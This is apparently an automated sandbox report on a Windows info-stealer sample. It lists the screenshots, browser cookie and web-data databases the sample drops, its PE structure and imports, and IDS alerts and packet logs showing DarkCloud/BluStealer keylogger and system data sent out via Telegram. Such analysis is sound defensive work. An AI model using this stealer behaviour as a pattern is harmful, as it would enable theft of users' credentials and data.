Preview:	BM6.<.....6...(.....................<.................$..$..#..#..#..#..#..#..$..$..$..$..$..$..$..$..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\user-PC-user\ScreenshotRmCCGgAk.BMP

Download File

Process:	C:\Users\user\Desktop\MSM8C42iAN.exe
File Type:	PC bitmap, Windows 3.x format, 1280 x 1024 x 24, image size 3932160, cbSize 3932214, bits offset 54
Category:	dropped
Size (bytes):	3932214
Entropy (8bit):	6.808116174863535
Encrypted:	false
SSDEEP:	12288:b6/TDU5vW5i41q6aUBa9tQd2Br+rLJmzuSikN87HrHJkVyC8+6ioPFA2RMMUUUXG:KTevW5iQKikV6RCuHXv235sZV
MD5:	06F0E9A82B6D3AB38193A0512EC2AEEB
SHA1:	153A201464EDD04745D391AF06C419C86859205F
SHA-256:	957E3B15CC0A9130D2EEED36EB02CF037D1952E23CD3AD9D4FEFA151B83C61AA
SHA-512:	33FB424A3ACE7DB54598B8CC9A7CB46FFEAC7F684C603EC7DBA865ACF779AB07CBFACC849321A8C5004ED7CDCB25AB1CC4DC17CD2B4D01A15E49859368F419B0
Malicious:	false
Preview:	BM6.<.....6...(.....................<.................$..$..#..#..#..#..#..#..$..$..$..$..$..$..$..$..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\user-PC-user\ScreenshotmIUnEnEe.BMP

Download File

Process:	C:\Users\user\Desktop\MSM8C42iAN.exe
File Type:	PC bitmap, Windows 3.x format, 1280 x 1024 x 24, image size 3932160, cbSize 3932214, bits offset 54
Category:	dropped
Size (bytes):	3932214
Entropy (8bit):	6.7758185886834585
Encrypted:	false
SSDEEP:	12288:bIfTDU5vW5i41q6aUBa9tQd2Br+rLJmzuSikN87HrHJkVyC8+6ioPFA2RMMUUUXe:oTevW5iQKikV6RCuHYqxWwXnd
MD5:	C1F6E9F4DAB2800029D65A872C69B339
SHA1:	2DF75F2AA801FF44081100F4BE1887E58CDC4FC1
SHA-256:	B2EB5A6162BDA4369D43CCFB58DB795B974E2AE22E1E3FAC959E55A99DE5CCA0
SHA-512:	42FDA3531C4EE8281453B5A0C8E7EE7D1F3FEDD941088A78DF0E78F74CCD818F04341C004DA7F8B568845BB53A17BA87E4CD506394869A882BDC10AC0444A290
Malicious:	false
Preview:	BM6.<.....6...(.....................<.................$..$..#..#..#..#..#..#..$..$..$..$..$..$..$..$..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\user-PC-user\ScreenshotuCjDoATa.BMP

Download File

Process:	C:\Users\user\Desktop\MSM8C42iAN.exe
File Type:	PC bitmap, Windows 3.x format, 1280 x 1024 x 24, image size 3932160, cbSize 3932214, bits offset 54
Category:	dropped
Size (bytes):	3932214
Entropy (8bit):	6.7758185886834585
Encrypted:	false
SSDEEP:	12288:bIfTDU5vW5i41q6aUBa9tQd2Br+rLJmzuSikN87HrHJkVyC8+6ioPFA2RMMUUUXe:oTevW5iQKikV6RCuHYqxWwXnd
MD5:	C1F6E9F4DAB2800029D65A872C69B339
SHA1:	2DF75F2AA801FF44081100F4BE1887E58CDC4FC1
SHA-256:	B2EB5A6162BDA4369D43CCFB58DB795B974E2AE22E1E3FAC959E55A99DE5CCA0
SHA-512:	42FDA3531C4EE8281453B5A0C8E7EE7D1F3FEDD941088A78DF0E78F74CCD818F04341C004DA7F8B568845BB53A17BA87E4CD506394869A882BDC10AC0444A290
Malicious:	false
Preview:	BM6.<.....6...(.....................<.................$..$..#..#..#..#..#..#..$..$..$..$..$..$..$..$..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\user-PC-user\ScreenshotwoFBNXXE.BMP

Download File

Process:	C:\Users\user\Desktop\MSM8C42iAN.exe
File Type:	PC bitmap, Windows 3.x format, 1280 x 1024 x 24, image size 3932160, cbSize 3932214, bits offset 54
Category:	dropped
Size (bytes):	3932214
Entropy (8bit):	6.732050613983933
Encrypted:	false
SSDEEP:	12288:bIfTDU5vW5i41q6aUBa9tQd2Br+rLJmzuSikN87HrHJkVyC8+6ioPFA2RMMUUUXq:oTevW5iQKikV6RCuHtzI5k9N9
MD5:	5CD95BA3C53F090FEF18CA7F9FC50BF8
SHA1:	B926BA037CA81439702B2651DFD287321B63BDCB
SHA-256:	03EBC5A3418DDD512DF47356C7C70EA954A80C63D7C5972E2D60A75DED791147
SHA-512:	903EDB26316F85EC00C441E6B081AE1200E2D6DBB7C4AE780A5D2908EBC4B600708FEC27DFF668B4BC65CEC9F404B3D8BE5EF45269F30476B5FD188C5B1546BC
Malicious:	false
Preview:	BM6.<.....6...(.....................<.................$..$..#..#..#..#..#..#..$..$..$..$..$..$..$..$..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\user-PC-user\ScreenshotyVquSyRx.BMP

Download File

Process:	C:\Users\user\Desktop\MSM8C42iAN.exe
File Type:	PC bitmap, Windows 3.x format, 1280 x 1024 x 24, image size 3932160, cbSize 3932214, bits offset 54
Category:	dropped
Size (bytes):	3932214
Entropy (8bit):	6.7758185886834585
Encrypted:	false
SSDEEP:	12288:bIfTDU5vW5i41q6aUBa9tQd2Br+rLJmzuSikN87HrHJkVyC8+6ioPFA2RMMUUUXe:oTevW5iQKikV6RCuHYqxWwXnd
MD5:	C1F6E9F4DAB2800029D65A872C69B339
SHA1:	2DF75F2AA801FF44081100F4BE1887E58CDC4FC1
SHA-256:	B2EB5A6162BDA4369D43CCFB58DB795B974E2AE22E1E3FAC959E55A99DE5CCA0
SHA-512:	42FDA3531C4EE8281453B5A0C8E7EE7D1F3FEDD941088A78DF0E78F74CCD818F04341C004DA7F8B568845BB53A17BA87E4CD506394869A882BDC10AC0444A290
Malicious:	false
Preview:	BM6.<.....6...(.....................<.................$..$..#..#..#..#..#..#..$..$..$..$..$..$..$..$..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\user-PC-user\WebData

Download File

Process:	C:\Users\user\Desktop\MSM8C42iAN.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 7, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.1221538113908904
Encrypted:	false
SSDEEP:	192:r2qAdB9TbTbuDDsnxCkvSAE+WslKOMq+8ESRR9crV+J3mLxAXd:r2qOB1nxCkvSAELyKOMq+8ETZKoxAX
MD5:	C1AE02DC8BFF5DD65491BF71C0B740A7
SHA1:	6B68C7B76FB3D1F36D6CF003C60B1571C62C0E0F
SHA-256:	CF2E96737B5DDC980E0F71003E391399AAE5124C091C254E4CCCBC2A370757D7
SHA-512:	01F8CA51310726726B0B936385C869CDDBC9DD996B488E539B72C580BD394219774C435482E618D58EB8F08D411411B63912105E4047CB29F845B2D07DE3E0E1
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\user-PC-user\cookies.db

Download File

Process:	C:\Users\user\Desktop\MSM8C42iAN.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\user-PC-user\cookies.db-shm

Download File

Process:	C:\Users\user\Desktop\MSM8C42iAN.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.830007945210411
TrID:	Win32 Executable (generic) a (10002005/4) 98.59% Win32 Executable Microsoft Visual Basic 6 (82127/2) 0.81% UPX compressed Win32 Executable (30571/9) 0.30% Win32 EXE Yoda's Crypter (26571/9) 0.26% Generic Win/DOS Executable (2004/3) 0.02%
File name:	MSM8C42iAN.exe
File size:	459'776 bytes
MD5:	1a170c3b6fba79020b7c24631d25ad93
SHA1:	4b2f3033eea4069c5685e9e6ca782f8f2551a685
SHA256:	d2678115448e9a9e3909fb7dcaf85eca9a28326fbd93d77d8608fd4d526c7dbb
SHA512:	83be3388820638ae39b973805f469437c442ca7b7171867ac7dbe84c9bfb2a8ca5e752d16b9a941d7dd8f905a85b4175fa19f75da49662a28c255b93e32ab1cf
SSDEEP:	12288:BCM2hGhIBUUAxT+Grwn5wOZ9iykdOjYKkJj6GmZU:Y9GRUZrZ9iHdQYb6nZ
TLSH:	1BA4293AE751212EF562C4B0B6E49257A8156D362288EC6BFB819F4931311D3ECF931F
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......}...9...9...9.......8...P...?.......8...Rich9...........PE..L..._x=g.............................<............@................

File Icon


Icon Hash:	00869eb0b230201f

Static PE Info

General

Entrypoint:	0x403cb4
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE
DLL Characteristics:
Time Stamp:	0x673D785F [Wed Nov 20 05:49:19 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	39964b80b48841fc908ed66bf68aaa3e

Entrypoint Preview

Instruction
push 00403FF4h
call 00007F0508B07243h
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
xor byte ptr [eax], al
add byte ptr [eax], al
inc eax
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add dh, ch
mov sp, seg?
xchg ebp, ebx
jmp far DA96h : 7C259A46h
sub dword ptr [esp+ebp*4+00000000h], ebx
add byte ptr [eax], al
add dword ptr [eax], eax
add byte ptr [eax], al
add byte ptr [eax], al
inc eax
wait
into
add dl, byte ptr [eax+72h]
outsd
push 00000065h
arpl word ptr [ecx+esi+00h], si
rol dword ptr [eax+00h], 08h
rol dword ptr [eax+00h], 00000000h
add byte ptr [eax], al
add bh, bh
int3
xor dword ptr [eax], eax
add eax, 2AC38779h
and al, 05h
test dword ptr [esi-76h], eax
mov eax, dword ptr [741CE9C7h]
sar ebp, cl
rol byte ptr [edi+edx*4-5Ah], cl
sub al, 02h
mov dword ptr [1E16BE40h], eax
or byte ptr [eax-43h], ah
mov ah, E9h
cmp cl, byte ptr [edi-53h]
xor ebx, dword ptr [ecx-48EE309Ah]
or al, 00h
stosb
add byte ptr [eax-2Dh], ah
xchg eax, ebx
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
loop 00007F0508B07252h
add byte ptr [eax], al
inc esi
add byte ptr [eax], al
add byte ptr [eax], al
add eax, 726F4600h
insd
xor dword ptr [eax], eax
or eax, 46000501h
outsd
jc 00007F0508B072BFh
xor dword ptr [eax], eax
or al, byte ptr [ecx]
sbb dword ptr [ecx], eax

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x47234	0x28	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x4a000	0x28f38	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x48000	0x47200	d28112abcb3faae2195a85acf1c60571	False	0.3329408776362039	data	5.797270820857767	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.data	0x49000	0x1000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x4a000	0x28f38	0x28e00	f3886498128ceaae7978336250ef8f52	False	0.9593308008409785	data	7.8768262547472805	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
CUSTOM	0x4a938	0x28600	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows, UPX compressed	English	United States	0.9682668540687248
RT_ICON	0x4a808	0x130	Device independent bitmap graphic, 32 x 64 x 1, image size 256			0.3223684210526316
RT_ICON	0x4a520	0x2e8	Device independent bitmap graphic, 32 x 64 x 4, image size 640			0.19623655913978494
RT_ICON	0x4a3f8	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 192			0.4155405405405405
RT_GROUP_ICON	0x4a3c8	0x30	data			1.0
RT_VERSION	0x4a1a0	0x228	data	English	United States	0.48731884057971014

Imports

DLL

Import

MSVBVM60.DLL

__vbaVarTstGt, __vbaVarSub, __vbaNextEachAry, _CIcos, _adj_fptan, __vbaStrI4, __vbaHresultCheck, __vbaVarMove, __vbaVarVargNofree, __vbaCyMul, __vbaAryMove, __vbaFreeVar, __vbaStrVarMove, __vbaLenBstr, __vbaPut3, __vbaFreeVarList, _adj_fdiv_m64, __vbaFpCDblR8, __vbaVarIndexStore, __vbaNextEachVar, __vbaFreeObjList, __vbaStrErrVarCopy, __vbaVarIndexLoadRef, _adj_fprem1, __vbaRecAnsiToUni, __vbaResume, __vbaCopyBytes, __vbaStrCat, __vbaLsetFixstr, __vbaStrDate, __vbaRecDestruct, __vbaSetSystemError, __vbaHresultCheckObj, __vbaLenBstrB, __vbaLenVar, _adj_fdiv_m32, __vbaAryVar, __vbaAryDestruct, __vbaVarXor, __vbaVarIndexLoadRefLock, __vbaLateMemSt, __vbaVarForInit, __vbaForEachCollObj, __vbaExitProc, __vbaOnError, __vbaObjSet, _adj_fdiv_m16i, __vbaObjSetAddref, _adj_fdivr_m16i, __vbaVarIndexLoad, __vbaBoolVar, __vbaRefVarAry, __vbaVarTstLt, __vbaBoolVarNull, _CIsin, __vbaErase, __vbaVarCmpGt, __vbaNextEachCollObj, __vbaVarZero, __vbaChkstk, __vbaFileClose, EVENT_SINK_AddRef, __vbaGenerateBoundsError, __vbaGet3, __vbaStrCmp, __vbaPutOwner3, __vbaAryConstruct2, __vbaVarTstEq, __vbaDateR8, __vbaI2I4, __vbaObjVar, DllFunctionCall, __vbaVarLateMemSt, __vbaVarOr, __vbaFpUI1, __vbaCastObjVar, __vbaRedimPreserve, __vbaLbound, _adj_fpatan, __vbaFixstrConstruct, __vbaR8Cy, __vbaRedim, __vbaRecUniToAnsi, __vbaUI1ErrVar, EVENT_SINK_Release, __vbaNew, __vbaUI1I2, _CIsqrt, __vbaObjIs, __vbaVarAnd, EVENT_SINK_QueryInterface, __vbaStr2Vec, __vbaVarMul, __vbaStrUI1, __vbaUI1I4, __vbaExceptHandler, __vbaPrintFile, __vbaStrToUnicode, __vbaExitEachAry, _adj_fprem, _adj_fdivr_m64, __vbaFPException, __vbaInStrVar, __vbaUbound, __vbaStrVarVal, __vbaGetOwner3, __vbaVarCat, __vbaDateVar, __vbaI2Var, _CIlog, __vbaErrorOverflow, __vbaFileOpen, __vbaVar2Vec, __vbaVarLateMemCallLdRf, __vbaNew2, __vbaInStr, _adj_fdiv_m32i, _adj_fdivr_m32i, __vbaVarSetObj, __vbaStrCopy, __vbaVarNot, __vbaFreeStrList, _adj_fdivr_m32, __vbaPowerR8, _adj_fdiv_r, __vbaVarTstNe, __vbaVarSetVar, __vbaI4Var, __vbaForEachAry, __vbaVarCmpEq, __vbaAryLock, __vbaLateMemCall, __vbaVarAdd, __vbaStrToAnsi, __vbaVarDup, __vbaFpI2, __vbaVarCopy, __vbaVarLateMemCallLd, __vbaFpI4, __vbaRecDestructAnsi, __vbaLateMemCallLd, _CIatan, __vbaUI1Str, __vbaCastObj, __vbaAryCopy, __vbaStrMove, __vbaStrVarCopy, __vbaForEachVar, _allmul, _CItan, __vbaAryUnlock, __vbaUI1Var, __vbaVarForNext, _CIexp, __vbaMidStmtBstr, __vbaI4ErrVar, __vbaRecAssign, __vbaFreeStr, __vbaFreeObj

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-11-25T13:55:14.377978+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.9	49727	162.55.60.2	80	TCP
2024-11-25T13:55:50.728340+0100	2852388	ETPRO MALWARE DarkCloud/BluStealer - SysInfo Exfil via Telegram M4	1	192.168.2.9	49810	149.154.167.220	443	TCP
2024-11-25T13:55:51.613113+0100	2045300	ET MALWARE DarkCloud Stealer Key Logger Function Exfiltrating Data via Telegram	1	192.168.2.9	49810	149.154.167.220	443	TCP
2024-11-25T13:55:53.894967+0100	2852388	ETPRO MALWARE DarkCloud/BluStealer - SysInfo Exfil via Telegram M4	1	192.168.2.9	49819	149.154.167.220	443	TCP
2024-11-25T13:56:03.957248+0100	2852388	ETPRO MALWARE DarkCloud/BluStealer - SysInfo Exfil via Telegram M4	1	192.168.2.9	49843	149.154.167.220	443	TCP
2024-11-25T13:56:10.401207+0100	2852388	ETPRO MALWARE DarkCloud/BluStealer - SysInfo Exfil via Telegram M4	1	192.168.2.9	49858	149.154.167.220	443	TCP
2024-11-25T13:56:11.286732+0100	2045300	ET MALWARE DarkCloud Stealer Key Logger Function Exfiltrating Data via Telegram	1	192.168.2.9	49858	149.154.167.220	443	TCP
2024-11-25T13:56:14.744005+0100	2852388	ETPRO MALWARE DarkCloud/BluStealer - SysInfo Exfil via Telegram M4	1	192.168.2.9	49867	149.154.167.220	443	TCP
2024-11-25T13:56:21.569883+0100	2852388	ETPRO MALWARE DarkCloud/BluStealer - SysInfo Exfil via Telegram M4	1	192.168.2.9	49882	149.154.167.220	443	TCP
2024-11-25T13:56:22.655567+0100	2045300	ET MALWARE DarkCloud Stealer Key Logger Function Exfiltrating Data via Telegram	1	192.168.2.9	49882	149.154.167.220	443	TCP
2024-11-25T13:56:26.054789+0100	2852388	ETPRO MALWARE DarkCloud/BluStealer - SysInfo Exfil via Telegram M4	1	192.168.2.9	49891	149.154.167.220	443	TCP
2024-11-25T13:56:32.550753+0100	2852388	ETPRO MALWARE DarkCloud/BluStealer - SysInfo Exfil via Telegram M4	1	192.168.2.9	49907	149.154.167.220	443	TCP
2024-11-25T13:56:33.469124+0100	2045300	ET MALWARE DarkCloud Stealer Key Logger Function Exfiltrating Data via Telegram	1	192.168.2.9	49907	149.154.167.220	443	TCP
2024-11-25T13:56:37.037797+0100	2852388	ETPRO MALWARE DarkCloud/BluStealer - SysInfo Exfil via Telegram M4	1	192.168.2.9	49918	149.154.167.220	443	TCP
2024-11-25T13:56:44.129248+0100	2852388	ETPRO MALWARE DarkCloud/BluStealer - SysInfo Exfil via Telegram M4	1	192.168.2.9	49934	149.154.167.220	443	TCP
2024-11-25T13:56:45.035711+0100	2045300	ET MALWARE DarkCloud Stealer Key Logger Function Exfiltrating Data via Telegram	1	192.168.2.9	49934	149.154.167.220	443	TCP
2024-11-25T13:56:48.119157+0100	2852388	ETPRO MALWARE DarkCloud/BluStealer - SysInfo Exfil via Telegram M4	1	192.168.2.9	49945	149.154.167.220	443	TCP
2024-11-25T13:56:54.986328+0100	2852388	ETPRO MALWARE DarkCloud/BluStealer - SysInfo Exfil via Telegram M4	1	192.168.2.9	49961	149.154.167.220	443	TCP
2024-11-25T13:56:55.907470+0100	2045300	ET MALWARE DarkCloud Stealer Key Logger Function Exfiltrating Data via Telegram	1	192.168.2.9	49961	149.154.167.220	443	TCP
2024-11-25T13:56:59.413753+0100	2852388	ETPRO MALWARE DarkCloud/BluStealer - SysInfo Exfil via Telegram M4	1	192.168.2.9	49970	149.154.167.220	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 25, 2024 13:55:12.783327103 CET	49727	80	192.168.2.9	162.55.60.2
Nov 25, 2024 13:55:12.903350115 CET	80	49727	162.55.60.2	192.168.2.9
Nov 25, 2024 13:55:12.903441906 CET	49727	80	192.168.2.9	162.55.60.2
Nov 25, 2024 13:55:12.903752089 CET	49727	80	192.168.2.9	162.55.60.2
Nov 25, 2024 13:55:13.023986101 CET	80	49727	162.55.60.2	192.168.2.9
Nov 25, 2024 13:55:14.377909899 CET	80	49727	162.55.60.2	192.168.2.9
Nov 25, 2024 13:55:14.377975941 CET	80	49727	162.55.60.2	192.168.2.9
Nov 25, 2024 13:55:14.377978086 CET	49727	80	192.168.2.9	162.55.60.2
Nov 25, 2024 13:55:14.377993107 CET	80	49727	162.55.60.2	192.168.2.9
Nov 25, 2024 13:55:14.378029108 CET	49727	80	192.168.2.9	162.55.60.2
Nov 25, 2024 13:55:14.378045082 CET	80	49727	162.55.60.2	192.168.2.9
Nov 25, 2024 13:55:14.378058910 CET	49727	80	192.168.2.9	162.55.60.2
Nov 25, 2024 13:55:14.378060102 CET	80	49727	162.55.60.2	192.168.2.9
Nov 25, 2024 13:55:14.378076077 CET	80	49727	162.55.60.2	192.168.2.9
Nov 25, 2024 13:55:14.378089905 CET	49727	80	192.168.2.9	162.55.60.2
Nov 25, 2024 13:55:14.378089905 CET	80	49727	162.55.60.2	192.168.2.9
Nov 25, 2024 13:55:14.378107071 CET	80	49727	162.55.60.2	192.168.2.9
Nov 25, 2024 13:55:14.378113031 CET	49727	80	192.168.2.9	162.55.60.2
Nov 25, 2024 13:55:14.378124952 CET	80	49727	162.55.60.2	192.168.2.9
Nov 25, 2024 13:55:14.378142118 CET	80	49727	162.55.60.2	192.168.2.9
Nov 25, 2024 13:55:14.378160000 CET	49727	80	192.168.2.9	162.55.60.2
Nov 25, 2024 13:55:14.378185987 CET	49727	80	192.168.2.9	162.55.60.2
Nov 25, 2024 13:55:14.498019934 CET	80	49727	162.55.60.2	192.168.2.9
Nov 25, 2024 13:55:14.498055935 CET	80	49727	162.55.60.2	192.168.2.9
Nov 25, 2024 13:55:14.498081923 CET	49727	80	192.168.2.9	162.55.60.2
Nov 25, 2024 13:55:14.498107910 CET	49727	80	192.168.2.9	162.55.60.2
Nov 25, 2024 13:55:14.579094887 CET	80	49727	162.55.60.2	192.168.2.9
Nov 25, 2024 13:55:14.579197884 CET	80	49727	162.55.60.2	192.168.2.9
Nov 25, 2024 13:55:14.579267025 CET	49727	80	192.168.2.9	162.55.60.2
Nov 25, 2024 13:55:14.579294920 CET	49727	80	192.168.2.9	162.55.60.2
Nov 25, 2024 13:55:14.583307981 CET	80	49727	162.55.60.2	192.168.2.9
Nov 25, 2024 13:55:14.583364964 CET	80	49727	162.55.60.2	192.168.2.9
Nov 25, 2024 13:55:14.583372116 CET	49727	80	192.168.2.9	162.55.60.2
Nov 25, 2024 13:55:14.583409071 CET	49727	80	192.168.2.9	162.55.60.2
Nov 25, 2024 13:55:14.591681957 CET	80	49727	162.55.60.2	192.168.2.9
Nov 25, 2024 13:55:14.591734886 CET	49727	80	192.168.2.9	162.55.60.2
Nov 25, 2024 13:55:14.594741106 CET	80	49727	162.55.60.2	192.168.2.9
Nov 25, 2024 13:55:14.594805956 CET	49727	80	192.168.2.9	162.55.60.2
Nov 25, 2024 13:55:14.594820023 CET	80	49727	162.55.60.2	192.168.2.9
Nov 25, 2024 13:55:14.594871044 CET	49727	80	192.168.2.9	162.55.60.2
Nov 25, 2024 13:55:14.603187084 CET	80	49727	162.55.60.2	192.168.2.9
Nov 25, 2024 13:55:14.603240013 CET	49727	80	192.168.2.9	162.55.60.2
Nov 25, 2024 13:55:14.603329897 CET	80	49727	162.55.60.2	192.168.2.9
Nov 25, 2024 13:55:14.603378057 CET	49727	80	192.168.2.9	162.55.60.2
Nov 25, 2024 13:55:14.611557007 CET	80	49727	162.55.60.2	192.168.2.9
Nov 25, 2024 13:55:14.611629963 CET	49727	80	192.168.2.9	162.55.60.2
Nov 25, 2024 13:55:49.207482100 CET	49810	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:55:49.207509995 CET	443	49810	149.154.167.220	192.168.2.9
Nov 25, 2024 13:55:49.207582951 CET	49810	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:55:49.230146885 CET	49810	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:55:49.230161905 CET	443	49810	149.154.167.220	192.168.2.9
Nov 25, 2024 13:55:50.641447067 CET	443	49810	149.154.167.220	192.168.2.9
Nov 25, 2024 13:55:50.641529083 CET	49810	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:55:50.723545074 CET	49810	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:55:50.723565102 CET	443	49810	149.154.167.220	192.168.2.9
Nov 25, 2024 13:55:50.723889112 CET	443	49810	149.154.167.220	192.168.2.9
Nov 25, 2024 13:55:50.723965883 CET	49810	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:55:50.727984905 CET	49810	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:55:50.728276014 CET	49810	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:55:50.728303909 CET	443	49810	149.154.167.220	192.168.2.9
Nov 25, 2024 13:55:51.613857985 CET	443	49810	149.154.167.220	192.168.2.9
Nov 25, 2024 13:55:51.613985062 CET	49810	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:55:51.613990068 CET	443	49810	149.154.167.220	192.168.2.9
Nov 25, 2024 13:55:51.614082098 CET	49810	443	192.168.2.9	149.154.167.220
